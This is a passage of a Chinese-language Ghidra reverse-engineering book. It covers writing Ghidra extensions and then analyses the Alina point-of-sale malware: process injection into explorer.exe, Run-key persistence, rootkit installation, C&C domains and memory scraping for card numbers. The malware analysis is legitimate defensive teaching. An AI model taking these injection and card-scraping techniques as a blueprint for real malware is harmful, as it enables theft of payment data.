import ghidra.program.model.address.Address;
import ghidra.program.model.listing.Function;
public class FunctionStatsRowObject {
private final Function function;
private final String algorithmName;
private int score;
FunctionStatsRowObject(Function function, String algorithmName, int score) {
SampleTableProvider.java类负责在屏幕上绘制表格、填充内容,并定义与之交互时的行为:
public class SampleTableProvider extends ComponentProviderAdapter implements OptionsChangeListener {
private SampleTablePlugin plugin;
private JComponent component;
private GFilterTable<FunctionStatsRowObject> filterTable;
private SampleTableModel model;
private List<FunctionAlgorithm> discoveredAlgorithms;
private GCheckBox[] checkBoxes;
private GhidraFileChooserPanel fileChooserPanel;
private boolean resetTableData;
public SampleTableProvider(SampleTablePlugin plugin) {
FunctionAlgorithm.java类定义了用于检索数据以填充表格的接口:
public interface FunctionAlgorithm extends ExtensionPoint {
public int score(Function function, TaskMonitor monitor) throws CancelledException;
public String getName();
}
最后,还有一些类允许你计算示例表格提供器中Score列的值:
-
BasicBlockCount``erFunctionAlgorithm.java -
FunctionAlgorithm.java -
ReferenceFunctionAlgorithm.java -
SizeFunctionAlgorithm.java
例如,SizeFunctionAlgorithm类检索当前函数中包含的地址数量,以确定函数的大小。显然,检索的数据是通过 Ghidra API 调用获得的:
import ghidra.program.model.address.AddressSetView;
import ghidra.program.model.listing.Function;
import ghidra.util.task.TaskMonitor;
public class SizeFunctionAlgorithm implements FunctionAlgorithm {
@Override
public String getName() {
return "Function Size";
}
@Override
public int score(Function function, TaskMonitor monitor) {
AddressSetView body = function.getBody();
return (int) body.getNumAddresses();
}
}
我们将在第三部分、扩展 Ghidra中深入探讨各种扩展的特点。
Ghidra 扩展继承
请记住,您可以在 Ghidra 的源代码中搜索您正在扩展的类:github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Base/src/main/java/ghidra/app/plugin/ProgramPlugin.java。这些类有详细的注释,您还可以通过帮助 | Ghidra API 帮助检查 Ghidra 自动生成的文档。
在本节中,您了解了什么是 Ghidra 扩展、它的内部工作原理以及从用户的角度看它在 Ghidra 中的表现。在下一节中,我们将介绍扩展的骨架。
理解 Ghidra 扩展骨架
在ghidra_9.1.2\Extensions\Ghidra Ghidra 扩展文件夹中,还有一个skeleton文件夹,其中包含五个位于ghidra_9.1.2\Extensions\Ghidra\Skeleton\src\main\java\skeleton的骨架源代码,这使我们能够编写任何类型的 Ghidra 扩展。
接下来,我们将通过概述其骨架来讨论不同类型的插件扩展。这些骨架可以从 Eclipse 中获取,我们稍后将在开发 Ghidra 扩展部分使用骨架创建一个扩展。
分析器
分析器使我们能够扩展 Ghidra 的代码分析功能。用于开发分析器的骨架可在SkeletonAnalyzer.java文件中找到,该文件扩展自ghidra.app.services.AbstractAnalyzer。
分析器骨架包含以下元素:
-
一个构造函数,表示分析器的名称、描述和分析器的类型。此外,在调用
super之前,可以调用setSupportOneTimeAnalysis,以指示分析器是否支持:public SkeletonAnalyzer() { super("My Analyzer", "Analyzer description goes here", AnalyzerType.BYTE_ANALYZER); }分析器的类型可以是以下之一:
BYTE_ANALYZER、DATA_ANALYZER、FUNCTION_ANALYZER、FUNCTION_MODIFIERS_ANALYZER、FUNCTION_SIGNATURES_ANALYZER、INSTRUCTION_ANALYZER或ONE_SHOT_ANALYZER。 -
getDefaultEnablement方法返回一个布尔值,指示该分析器是否将始终启用。 -
canAnalyze方法返回 true 表示程序可以被分析。您可以在这里检查,例如,您的分析器是否支持程序的汇编语言。 -
如果您希望让用户为分析器设置一些选项,则可以重写
registerOptions方法。 -
最后,当程序中添加了内容时,所添加的方法将被调用以执行分析。
分析器技巧
如果您的分析器速度不够快,请不要让
getDefaultEnablement返回 true,因为这可能会使 Ghidra 变慢。
分析器可以在分析 C++程序以获取面向对象编程信息时非常有用。
文件系统
文件系统允许我们扩展 Ghidra 以支持归档文件。归档文件的示例包括 APK、ZIP、RAR 等。用于开发文件系统的框架可以在SkeletonFileSystem.java文件中找到,它继承自GFileSystem。
文件系统框架由以下元素组成:
-
一个构造函数。它接收文件系统的根目录作为文件系统资源定位符(FSRL)和文件系统提供者作为参数。
-
文件系统的实现是复杂的。它包含以下方法:
mount、close、getName、getFSRL、isClosed、getFileCount、getRefManager、lookup、getInputStream、getListing、getInfo和getInfoMap。
插件
插件使我们能够通过访问 GUI 和事件通知系统以多种方式扩展 Ghidra。开发插件的框架可以在SkeletonPlugin.java文件中找到,它继承自ghidra.app.plugin.ProgramPlugin。
插件框架由以下元素组成:
-
一个构造函数。它接收父工具作为参数,并允许我们自定义或移除插件的提供者和帮助。
-
一个
init方法,允许我们在需要时获取服务。 -
它还包括一个扩展自
ComponentProvider的提供者示例,使我们能够自定义 GUI 和操作。插件提示
如果你想查看完整的服务列表,请在 Ghidra 的 Java 文档中搜索
ghidra.app.services:/api/ghidra/app/services/package-summary.html。
如你所想,插件扩展非常灵活多样。
导出器
导出器允许我们通过实现导出 Ghidra 程序数据库中部分程序的能力来扩展 Ghidra。开发导出器的框架可以在SkeletonExporter.java文件中找到。
导出器框架由以下元素组成:
-
一个构造函数。它允许我们设置导出器的名称,并将文件扩展名与之关联。
-
还提供一个
getOptions方法,用于定义自定义选项(如果需要)。 -
一个
setOptions方法,用于为导出器分配自定义选项(如果存在)。 -
一个
export方法,必须实现导出操作,并返回一个布尔值,表示操作是否成功。
一些预装的 Ghidra 导出器示例如下:AsciiExporter、BinaryExporter、GzfExporter、HtmlExporter、IntelHexExporter、ProjectArchiveExporter和XmlExporter。
加载器
加载器允许我们通过添加对新二进制代码格式的支持来扩展 Ghidra。二进制代码格式的示例包括SkeletonLoader.java文件,它继承自AbstractLibrarySupportLoader。
加载器框架由以下元素组成:
-
一个
getName方法,必须重写以返回加载器的名称。 -
一个
findSupportedLoadSpecs方法,必须返回一个ArrayList,如果能够加载文件,则包含文件的规范。如果无法加载,则返回一个空的ArrayList。 -
一个
load方法,主要实现部分。它将从提供者加载字节到程序中。 -
如果加载器有自定义选项,则必须在
getDefaultOptions方法中定义它们,并在validateOptions方法中进行验证。
在本节中,我们讨论了每种类型的 Ghidra 扩展的框架。可以根据需要修改任何框架,以帮助开发。在接下来的章节中,我们将介绍 Ghidra 扩展框架在 Eclipse 中的样子。
开发 Ghidra 扩展
在本节中,我们将介绍如何在 Eclipse 中创建 Ghidra 扩展,然后如何将其导出到 Ghidra:
-
首先,要在 Eclipse 中创建一个新的 Ghidra 扩展,点击 GhidraDev | 新建 | Ghidra 模块项目…:https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_04_008.jpg
图 4.8 – 创建新的 Ghidra 模块项目
-
设置 Ghidra 项目的名称以及项目根目录。在此案例中,我将项目名称设置为
MyExtensions,并将其余参数保持为默认值:https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_04_009.jpg图 4.9 – 设置项目名称
-
正如前一节所述,Ghidra 提供了一些模块模板。选择那些对您有用的模板。我们选择了所有模板,因为我们希望拥有所有的 Ghidra 模块框架。点击 下一步 >,而不是 完成,以进行两个额外且有用的步骤:https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_04_010.jpg
图 4.10 – 选择此 Ghidra 模块项目所需的模块模板
-
将 Ghidra 安装与您的模块项目关联。这是一个重要步骤,因为 Ghidra 模块将为此版本的 Ghidra 生成:https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_04_011.jpg
图 4.11 – 将 Ghidra 安装与您的模块项目关联
-
还可以通过点击 启用 Python 并选择 Jython 解释器来启用 Python:https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_04_012.jpg
图 4.12 – 启用 Python 支持
可以通过点击 GhidraDev | 链接 Ghidra… 在以后任何时间配置 Ghidra 安装和 Python 支持:
图 4.13 – 链接 Ghidra 安装并在任何时候启用 Python 支持(如果需要)
-
使用 Eclipse IDE 开发 Ghidra 扩展:
图 4.14 – 使用 Eclipse IDE 开发 Ghidra 扩展
在开发完 Ghidra 扩展后,你可以使用以下步骤将其导出到 Ghidra:
-
进入 文件 | 导出…,选择 Ghidra 模块扩展,然后点击 下一步 > 按钮:https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_04_015.jpg
图 4.15 – 从 Eclipse 导出 Ghidra 模块扩展
-
选择你要导出的 Ghidra 模块项目:https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_04_016.jpg
图 4.16 – 选择要导出的 Ghidra 模块项目
-
设置 Gradle 安装目录。如果你按照本章开头的步骤进行操作,它将保存在
GRADLE_HOME环境变量中:
图 4.17 – 设置 Gradle 安装目录
点击 dist 目录后,你的 Ghidra 模块项目已经生成:
图 4.18 – 导出 Ghidra 扩展项目后的控制台输出
如前所述,生成的扩展仅对在模块项目创建时选择的 Ghidra 版本有效。
摘要
本章中,你学习了如何安装现有的 Ghidra 扩展,以及如何将新的扩展放入 Ghidra 中以便稍后安装。我们分析了一个示例插件 Ghidra 扩展的代码,还分析了各种类型 Ghidra 扩展的开发模板。最后,我们按照步骤在 Eclipse IDE 中创建了一个新的 Ghidra 模块项目,并介绍了如何将新项目导出到 Ghidra。
现在,你已经能够识别有用的扩展并安装它们。你也能够理解代码的工作原理,并在需要时进行修改和调整。当然,你现在也可以编写自己的 Ghidra 扩展,但你将在 第三章,扩展 Ghidra 中进一步提高这些技能。
在本书的下一章中,我们将介绍如何使用 Ghidra 进行恶意软件逆向工程,这是一个很好的机会,展示如何利用这些知识解决现实世界的挑战。
问题
-
Ghidra 扩展与 Ghidra 脚本有什么区别?
-
如果你正在分析一个用 C++ 开发的程序(这是一种面向对象的编程语言),什么样的 Ghidra 扩展可以帮助你识别类、方法等?
-
正如你所知,Ghidra 扩展可以访问 Ghidra 内部,这非常强大。那么,写一个 Ghidra 扩展总比写一个 Ghidra 脚本更好吗?
进一步阅读
如果你想了解更多本章涉及的主题,可以查看以下书籍和链接:
-
Ghidra 高级开发课程:
ghidra.re/courses/GhidraClass/AdvancedDevelopment/GhidraAdvancedDevelopment_withNotes.html#GhidraAdvancedDevelopment.html -
Python 开发,Burkhard. A Meier,2016 年 11 月 [视频]:
www.packtpub.com/eu/application-development/python-projects-video -
PyDev 官方手册:
www.pydev.org/manual.html -
Java 项目 - 第二版,Peter Verhas,2018 年 8 月:
www.packtpub.com/eu/application-development/java-projects-second-edition
第二部分:逆向工程
本节旨在介绍如何使用 Ghidra 进行逆向工程。你将学习如何进行二进制分析、逆向恶意软件、审计二进制文件,并自动化重复且耗时的任务。
本节包含以下章节:
-
第五章,使用 Ghidra 逆向恶意软件
-
第六章,脚本化恶意软件分析
-
第七章,使用 Ghidra 无头分析器
-
第八章,审计程序二进制文件
-
第九章,脚本化二进制审计
第五章:第五章:使用 Ghidra 逆向分析恶意软件
在本章中,我们将介绍使用 Ghidra 进行恶意软件的逆向工程。通过使用 Ghidra,您将能够分析包含恶意代码的可执行二进制文件。
本章是一个绝佳的机会,让您将第一章,《Ghidra 入门》和第二章,《使用 Ghidra 脚本自动化逆向工程任务》中的知识应用于实践。为了将这些知识付诸实践,我们将分析 Alina 销售点 (PoS) 恶意软件。该恶意软件基本上通过刮取 PoS 系统的内存来窃取信用卡和借记卡信息。
我们的方法将从设置安全的分析环境开始,然后我们将寻找恶意软件样本中的恶意软件指示符,最后,我们将通过使用 Ghidra 进行深入的恶意软件分析来结束。
在本章中,我们将覆盖以下主要主题:
-
设置环境
-
寻找恶意软件指示符
-
剖析有趣的恶意软件样本部分
技术要求
本章的要求如下:
-
VirtualBox,x86 和 AMD64/Intel64 虚拟化软件:
www.virtualbox.org/wiki/Downloads -
VirusTotal,一种在线恶意软件分析工具,汇集了多种杀毒引擎和在线引擎进行扫描:
www.virustotal.com/
本章所需的所有代码可以在以下 GitHub 仓库中找到:github.com/PacktPublishing/Ghidra-Software-Reverse-Engineering-for-Beginners/tree/master/Chapter05
请查看以下链接,观看“Code in Action”视频:bit.ly/3ou4OgP
设置环境
在撰写本书时,Ghidra 的公开版本尚不支持二进制文件的调试。这将 Ghidra 的功能范围限制为静态分析,即分析文件时不执行它们。
但当然,Ghidra 的静态分析可以补充您选择的任何现有调试器(例如 x64dbg、WinDbg 和 OllyDbg)所执行的动态分析。这两种分析可以并行进行。
设置恶意软件分析环境是一个广泛的话题,因此我们将介绍使用 Ghidra 进行此目的的基础知识。请记住,设置恶意软件分析环境时的黄金法则是将其与您的计算机和网络隔离。即使您正在进行静态分析,建议还是设置一个隔离的环境,因为无法保证恶意软件不会利用某些 Ghidra 漏洞并最终执行。
CVE-2019-17664 和 CVE-2019-17665 Ghidra 漏洞
我发现 Ghidra 存在两个漏洞,当恶意软件文件名为 cmd.exe 或 jansi.dll 时,可能会导致意外执行。在撰写本书时,CVE-2019-17664 仍未修复:github.com/NationalSecurityAgency/ghidra/issues/107。
为了分析恶意软件,你可以使用一台物理计算机(通过硬盘备份恢复到干净的状态)或者虚拟机。第一个选项更为现实,但恢复备份时速度较慢且成本更高。
你还需要隔离你的网络。一个好的例子是,在分析过程中勒索软件会加密共享文件夹。
让我们使用一个 VirtualBox 虚拟化环境,设置只读(出于安全原因)共享文件夹,以便从宿主机转移文件到虚拟机,并且不连接互联网,因为静态分析不需要网络连接。
然后,我们按照以下步骤进行:
-
通过以下链接下载并安装 VirtualBox:
www.virtualbox.org/wiki/Downloads -
创建一个新的 VirtualBox 虚拟机,或者从 Microsoft 下载:
aka.ms/windev_VM_virtualbox -
设置一个 VirtualBox 只读共享文件夹,允许你将文件从宿主机转移到虚拟机:
www.virtualbox.org/manual/ch04.html#sharedfolders。 -
将 Ghidra 及其所需的依赖项转移到虚拟机上,安装它,并且还要转移你打算分析的恶意软件。
此外,你还可以转移你自己的一套 Ghidra 脚本和扩展。
寻找恶意软件指示符
正如你可能记得的那样,Ghidra 通过包含零个或多个文件的项目来工作。Alina 恶意软件由两个组件组成:一个 Windows 驱动程序(rt.sys)和一个便携式可执行文件(park.exe)。因此,一个包含这两个组件的压缩 Ghidra 项目(alina_ghidra_project.zip)可以在本书为此创建的相关 GitHub 项目中找到。
如果你想直接获得 Alina 恶意软件样本,而不是 Ghidra 项目,你也可以在 GitHub 项目中找到它(alina_malware_sample.zip),它已被压缩并使用密码 infected 保护。这种共享恶意软件的方式很常见,以避免它被意外感染。
接下来,我们将尝试快速猜测我们正在处理的恶意软件的大致类型。为此,我们将寻找字符串,很多情况下它们可以揭示有用的信息。我们还会检查外部来源,如果恶意软件已经被分析或分类,这些信息可能会很有用。最后,我们将通过查找动态链接库(DLL)函数来分析它的功能。
寻找字符串
我们先打开 Ghidra 项目,双击 Ghidra 项目中的 park.exe 文件,然后使用 park.exe 外部分析它,因为它是恶意软件,您的系统可能会被感染。一个好的起点是列出文件中的字符串。我们将去 搜索 | 查找字符串… 开始分析:
图 5.1 – 在 park.exe 中发现的一些有趣的字符串
如上图所示,用户 Benson 似乎编译了这个恶意软件。这些信息可能对调查该恶意软件的归属有所帮助。这里有很多可疑的字符串。
例如,很难想象一个合法程序会引用 windefender.exe。此外,SHELLCODE_MUTEX 和 系统服务分派表(SSDT)的挂钩引用显然是恶意的。
系统服务分派表
SSDT 是针对 32 位 Windows 操作系统的内核例程的地址数组,或者是针对 64 位 Windows 操作系统的相对偏移数组,用于相同的例程。
对程序字符串的快速概览有时可以揭示它是否为恶意软件,无需进一步分析。简单且强大。
情报信息和外部资源
使用外部资源(如情报工具)调查发现的信息也是很有用的。例如,在下面的截图中,我们通过查找字符串识别出了两个域名,这些域名可以通过 VirusTotal 进一步调查:
图 5.2 – 字符串中找到的两个域名
要在 VirusTotal 中分析一个 URL,请访问以下链接,输入域名,然后点击放大镜图标继续:www.virustotal.com/gui/home/url:
图 5.3 – 查找要分析的 URL
搜索结果是动态的,可能会随时变化。在这种情况下,这两个域名在 VirusTotal 中均产生了正面结果。结果可以在以下链接查看:www.virustotal.com/gui/url/422f1425108ae35666d2f86f46f9cf565141cf6601c6924534cb7d9a536645bc/detection:
图 5.4 – 字符串中找到的两个域名
此外,VirusTotal 还可以提供更多有用的信息,您可以通过浏览页面找到这些信息。例如,它检测到 javaoracle2.ru 域名也被其他可疑文件引用:
图 5.5 – 引用 javaoracle2.ru 的恶意软件威胁
在分析恶意软件时,建议在开始分析之前先查看公共资源,因为它可以为你提供许多有用的信息,帮助你找到分析的起点。
如何查找恶意软件指示
在寻找恶意软件指示时,不仅要寻找用于恶意目的的字符串,还要注意异常情况。恶意软件通常容易被识别,原因有很多:某些字符串永远不会出现在良性文件中,且代码可能被人为地复杂化。
还可以通过检查文件的导入项来调查其功能。
检查导入函数
由于该二进制文件引用了一些恶意服务器,它必须实现某种网络通信。在这种情况下,通信是通过 HTTP 协议进行的,以下导入函数位于 Ghidra 的 CodeBrowser 符号树窗口中:
图 5.6 – 与 HTTP 通信相关的导入项
查看ADVAPI32.DLL,我们可以识别出名为Reg的函数,这些函数允许我们操作 Windows 注册表,而其他提到Service或SCManager*的函数则允许我们与 Windows 服务控制管理器交互,从而加载驱动程序:
图 5.7 – 与 Windows 注册表和服务控制管理器相关的导入项
KERNEL32.DLL中有很多导入项,因此,它允许我们与命名管道、文件和进程进行交互并执行相关操作:
图 5.8 – HTTP 通信
运行时导入项
记住,运行时导入的库和/或在运行时解析的函数不会列出在符号树中,因此要注意程序的功能可能并没有被完全识别。
通过非常快速的分析,我们已经识别出了很多东西。如果你有经验,你会知道恶意软件的代码模式,从而通过将 API 函数与字符串相匹配,轻松推测恶意软件在给定前面所示信息时会尝试做什么。
剖析有趣的恶意软件样本部分
如前所述,这个恶意软件由两个组件组成:一个可执行文件(park.exe)和一个 Windows 驱动文件(rk.sys)。
当计算机上发现多个恶意文件时,通常其中一个会生成其他恶意文件。由于park.exe可以通过双击执行,而rk.sys必须由另一个组件加载,如 Windows 服务控制管理器或其他驱动程序,我们可以初步假设是park.exe被执行后,将rk.sys写入磁盘。实际上,在我们对导入项的静态分析过程中,我们注意到park.exe具有处理 Windows 服务控制管理器的 API。如以下截图所示,该文件以如下模式开始:4d 5a 90 00。这些起始字节也常用作文件的签名,这些签名也被称为魔术数字或魔术字节。在本例中,签名表明该文件是可执行文件(Portable Executable,适用于 32 位和 64 位 Windows 操作系统中的可执行文件、目标代码、DLL 等文件格式):
图 5.9 – rk.sys 文件概览
通过计算起始地址和结束地址之间的差值,我们获得了文件的大小,即0x51ff,这一值稍后将用于提取嵌入在park.exe中的rk.sys文件。使用 Python 解释器进行这个简单的计算是个不错的主意:
图 5.10 – rk.sys 文件大小
然后,我们打开park.exe,并通过点击4D 5A 90 00模式来查找文件。点击搜索所有以查看所有出现的实例:
图 5.11 – 查找 PE 头部
你将看到该头部模式出现两次。第一次对应我们正在分析的文件头部,即park.exe,而第二次则对应嵌入的rk.sys文件:
图 5.12 – 在 park.exe 中发现的 PE 头部
如我们现在所知,它从0x004f6850地址开始,且如前面使用 Python 解释器计算得到的那样,大小为0x51FF字节,我们可以通过点击选择 | 字节…,输入要选择的字节长度,从当前地址开始,最后点击选择字节来选择这些字节:
图 5.13 – 在 park.exe 内选择 rk.sys 文件
通过右键点击选定的字节并选择提取并导入…,也可以使用 Ctrl + Alt + I 快捷键,我们将看到以下界面,其中包含选定字节的数据文件被添加到项目中:
图 5.14 – 数据块作为 *.tmp 文件被添加到项目中
我们识别了所有恶意软件组件。现在,让我们从程序的入口点开始分析这些恶意软件。
入口点函数
让我们分析 park.exe。我们通过 符号树 中的 entry 函数来打开它并进行分析:
图 5.15 – 入口点函数
这个函数的反编译结果很容易阅读。__security__init_cookie 是一个由编译器引入的内存损坏保护函数,因此继续分析 __tmainCRTStartup,双击它。这里有很多 Ghidra 已识别的函数,所以我们集中分析唯一一个尚未识别的函数 – thunk_FUN_00455f60:
图 5.16 – 未识别的 WinMain 函数
这是程序的主函数。如果你有一定的 C++ 背景,你也会注意到 __wincmdln 初始化了一些全局变量、环境以及进程堆,然后调用了 WinMain 函数。因此,紧跟在 __wincmdln 后面的 thunk_FUN_00455f60 函数就是 WinMain 函数。让我们通过按下 L 键并聚焦在 thunk_FUN_00455f60 上,将 thunk_FUN_00455f60 重命名为 WinMain:
图 5.17 – 将 thunk_FUN_00455f60 函数重命名为 WinMain
Ghidra 允许你重命名变量和函数,加入注释,并在多个方面修改反汇编和反编译代码。这在逆向工程恶意软件时至关重要:
图 5.18 – 省略了一些无关代码(第 5–19 行)的 WinMain 函数
我们采取这些步骤来确定恶意软件的启动位置,并从头分析其流程,但反编译代码列表中有一些我们不清楚的函数。因此,我们的任务是揭示这些函数的功能,以便理解恶意软件。
请记住,恶意软件分析是一项耗时的任务,因此不要在细节上浪费时间,但也不要忽视任何重要内容。接下来,我们将分析 WinMain 反编译代码中列出的每个函数。我们将从分析第一个函数开始,它位于第 20 行,名为 thunk_FUN_00453340。
分析 0x00453340 函数
我们将从分析第一个函数 thunk_FUN_00453340 开始:
图 5.19 – FUN_00453340 函数的部分代码
它通过 operator_new 创建一个类,然后调用其构造函数:thunk_FUN_0044d440。
在这个函数中,你会看到一些 Windows API 调用。接下来,你可以重命名(按下 L 键)局部变量,使代码更加可读:
图 5.20 – 重命名函数参数 computerName
你可以根据微软文档来执行此操作(docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getcomputernamea):
图 5.21 – 在微软文档中查找 API 信息
实际上,也可以通过点击 编辑函数签名 完全修改一个函数:
图 5.22 – 编辑函数签名
在这种情况下,这个函数是 strcpy,它将 errorretriving 字符串复制到 computerName 字符串的末尾(当执行到这一行时,computerName 的值为 NULL)。然后,我们可以根据其名称和参数修改签名。
我们还可以修改函数的调用约定。这很重要,因为某些关键细节依赖于调用约定:
-
参数是如何传递给函数的(通过寄存器或压入栈中)
-
指定被调用函数或调用函数有责任清理堆栈
请参考下面的截图,查看 thunk_FUN_004721f0 是如何被重命名为 strcpy 的:
图 5.23 – 函数签名编辑器
我们还可以在第 105 行设置以下前置注释 – 0x1a = CSIDL_APPDATA:
图 5.24 – 设置前置注释
这表明 SHGetFolderPathA 的第二个参数代表 %APPDATA% 目录:
图 5.25 – 反编译代码中的前置注释
经过一些分析后,你会注意到这个函数会将恶意软件的一个 RC4 加密副本作为 windefender.exe 保存到 %APPDATA%\ntkrnl\ 目录下。
分析 0x00453C10 函数
有时候,反编译的代码不正确并且不完整,因此也需要检查反汇编列表。在这种情况下,我们处理的是一个表示要删除的文件的字符串列表,但在反编译的代码中并没有显示:
图 5.26 – 显示字符串列表
该函数通过删除这些文件来清除之前的感染。正如你所看到的,恶意软件尝试使用合法程序的名称来伪装自己。让我们将这个函数重命名为 cleanPreviousInfections,然后继续处理其他函数。
分析 0x0046EA60 函数
该函数创建了一个名为 \\\\.\\pipe\\spark 的管道,这是一个 进程间通信(IPC)机制:
图 5.27 – 创建命名管道
进程间通信
IPC 是一种机制,允许进程之间相互通信并同步它们的操作。这些进程之间的通信可以视为它们之间的协作方法。
由于创建了命名管道,我们可以预期看到恶意软件组件之间使用它进行某种通信。
分析 0x0046BEB0 函数
这个函数设置了命令和控制的 URL:
图 5.28 – 命令和控制域名及端点
分析 0x0046E3A0 函数
通过分析这个函数,我们注意到管道用于某种同步。CreateThread API 函数接收的参数是要作为线程执行的函数和传递给该函数的参数;因此,当线程创建出现时,我们必须分析一个新函数——在这种情况下是 lpStartAddress_00449049:
图 5.29 – 每 30 秒保持恶意软件的存在
有趣的是,一个无限循环每隔 30000 毫秒(30 秒)迭代一次,执行持久化操作。让我们分析一下 thunk_FUN_00454ba0 函数:
图 5.30 – 通过 Run 注册表键实现持久化
它正在打开 Run 注册表键,当 Microsoft Windows 用户会话启动时会执行该键。这通常被恶意软件用来保持感染,因为每次计算机启动时都会执行它。我们将此函数重命名为 persistence。
分析 0x004559B0 函数
该函数通过服务控制管理器 API(如 OpenSCManagerA 或 OpenServiceA)处理服务:
图 5.31 – 使用服务控制管理器打开服务
在重命名后,我们注意到它检查用户是否具有创建服务所必需的管理员权限。如果有,它会删除先前的 rootkit 实例(rootkit 是一种允许我们隐藏系统元素的应用程序:进程、文件等……但在这种情况下是恶意软件元素),将 rootkit 写入磁盘,并最终再次创建一个带有 rootkit 的服务。如您所见,服务被命名为 Windows Host Process,而 rootkit 安装在 %APPDATA%(如果不可用,则为 C:\)并命名为 rk.sys:
图 5.32 – 安装 rootkit,但如果存在,则删除先前的 rootkit
因此,我们将此函数重命名为 installRookit。
分析 0x004554E0 函数
它试图打开 explorer.exe 进程,该进程应该是用户的 shell:
图 5.33 – 打开 explorer.exe
如你所见,它创建了一个互斥量,这是一个同步机制,并防止explorer.exe进程被打开两次。互斥量的名称非常有特点,且是硬编码的。我们可以将其用作7YhngylKo09H。
在分析恶意软件时,有些代码模式和 API 序列像一本打开的书:
图 5.34 – 将代码注入到 explorer.exe 进程
在这种情况下,你可以看到以下内容:
-
VirtualAllocEx:为explorer.exe进程分配0x3000字节的内存,0x40标志表示PAGE_EXECUTE_READWRITE(允许在此处写入和执行代码) -
WriteProcessMemory:将恶意代码写入explorer.exe -
CreateRemoteThread:在explorer.exe进程中创建一个新线程以执行代码。
我们可以将thunk_FUN_004555b0重命名为injectShellcodeIntoExplorer。
我们现在理解了它的参数:
-
用于注入代码的 explorer 进程处理器
-
注入代码的指针(也就是 shellcode)
-
注入代码的大小是
0x616字节Shellcode
"shellcode"这个术语最早用于描述目标程序由于漏洞利用而执行的代码,用来打开远程 Shell——即命令行解释器的一个实例——以便攻击者能够利用该 Shell 进一步与受害者的系统进行交互。
通过双击shellcode参数,我们可以看到 shellcode 的字节,但按下D键,我们也可以将其转换为代码:
图 5.35 – 将 shellcode 转换为代码以便用 Ghidra 分析
通过点击一些shellcode字符串,你可以看到按程序使用的相同顺序存储的字符串,因此你可以通过读取这些字符串推断程序的行为:
图 5.36 – 通过读取字符串快速分析代码
我们有一个加密的恶意软件副本,存储在%APPDATA%\ntkrnl中,这点从之前的分析中得知。它使用密码7YhngylKo09H解密。然后,创建一个windefender.exe解密的恶意软件,并通过ShellExecuteA最终执行。这个过程在一个由互斥量机制控制的无限循环中执行,如最后的字符串SHELLCODE_MUTEX所示。
Mutex
互斥量对象是一种同步对象,其状态可以是非信号或信号的,具体取决于它是否被某个线程拥有。
因此,我们可以将thunk_FUN_004554e0重命名为explorerPersistence。
分析 0x0046C860 函数
在使用operator_new初始化类后,调用它的thunk_FUN_0046c2c0构造函数。如你所见,我们有一个线程需要分析:
图 5.37 – 线程创建
lpStartAddress_00447172函数包含一个无限循环,它调用我们分析过的setupC&C函数,因此我们可以预期会有一些命令与控制(C&C)通信。C&C 是控制并接收来自恶意软件样本信息的服务器。它由攻击者管理:
图 5.38 – C&C 通信循环
让我们点击其中一个函数字符串,看看会发生什么。我们还可以将其变为美化版。点击**创建数组…**选项,通过选择这些字节并右键单击它来连接空字节:
图 5.39 – 将数据转换为类型和结构
它似乎是用于 C&C 通信的 HTTP 参数字符串,因为使用此协议非常常见。最相关的字符串是cardinterval。cardinterval 是什么意思?
图 5.40 – C&C 通信 HTTP 参数
我们将这个函数重命名为C&Ccommunication,然后继续处理下一个函数。
分析 0x0046A100 函数
再次,我们看到一个thunk_FUN_00464870构造函数调用lpStartAddress_04476db线程函数。让我们将注意力集中在线程函数上:
图 5.41 – 数学函数
这个函数有点复杂。我们可以看到很多数学运算,由此产生了许多数字数据类型。不要浪费时间!将其重命名为mathAlgorithm,如果需要,稍后再回来处理。
下一个函数遍历进程,并使用__stricmp函数跳过黑名单中的进程,该黑名单包含 Windows 进程和常见应用程序。我们可以推测它在寻找一个非常见应用程序:
图 5.42 – 黑名单进程
通过分析位于FUN_0045c570中的lpStartAddress0047299线程函数,我们注意到它在抓取进程内存,寻找某些东西:
图 5.43 – 读取进程内存
它首先通过VirtualQueryEx获取内存区域权限,并检查该区域是否处于MEM_IMAGE状态,这表示该区域内的内存页面已映射到图像段的视图中。它还会保护PAGE_READWRITE。
然后,它调用ReadProcessMemory来读取内存,最后在FUN_004607c0中查找信用卡号码:
图 5.44 – 内存抓取过程
如你所见,local_28变量的大小为0x10字节(0x10代表信用卡号的 16 位数字),其首字节与数字3进行比较,正如我使用 Python 解释器打印的表格所示。该恶意软件在抓取过程中实现了 Luhn 算法,用于验证信用卡号的校验和:
](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_05_045.jpg)
图 5.45 – WinMain 中的重命名函数
Luhn 算法使得可以通过控制码(称为校验和,即数字的某种表示形式)检查数字(在这种情况下是信用卡号)。如果某个字符被误读或写错,Luhn 算法将会检测到这个错误。
Luhn 算法因 Mastercard、美国运通(AmEx)、Visa 及所有其他信用卡都使用它而广为人知。
总结
在本章中,你学习了如何使用 Ghidra 分析恶意软件。我们分析了功能丰富的 Alina POS 恶意软件,涉及的功能包括管道、线程、ring0 rootkit、shellcode 注入和内存抓取。
你还学到了坏人是如何通过网络犯罪活动每天赚钱的。换句话说,你了解了卡片技术。
在本书的下一章中,我们将介绍如何通过脚本化恶意软件分析来提高分析速度和效果,特别是提升我们对 Alina POS 恶意软件的分析。
问题
-
在恶意软件分析过程中,便携式可执行文件的导入信息提供了什么样的内容?通过结合
LoadLibrary和GetProcAddressAPI 函数可以做些什么? -
处理 C++程序时,反汇编是否可以以某种方式得到改进?
-
在将代码注入到另一个进程中与在当前进程中执行代码相比,恶意软件注入代码有什么好处?
进一步阅读
你可以参考以下链接获取本章所涵盖主题的更多信息:
-
在本章的分析中,我们并没有使用 Ghidra 的所有功能。查看以下 Ghidra 备忘单,获取更多细节:
ghidra-sre.org/CheatSheet.html -
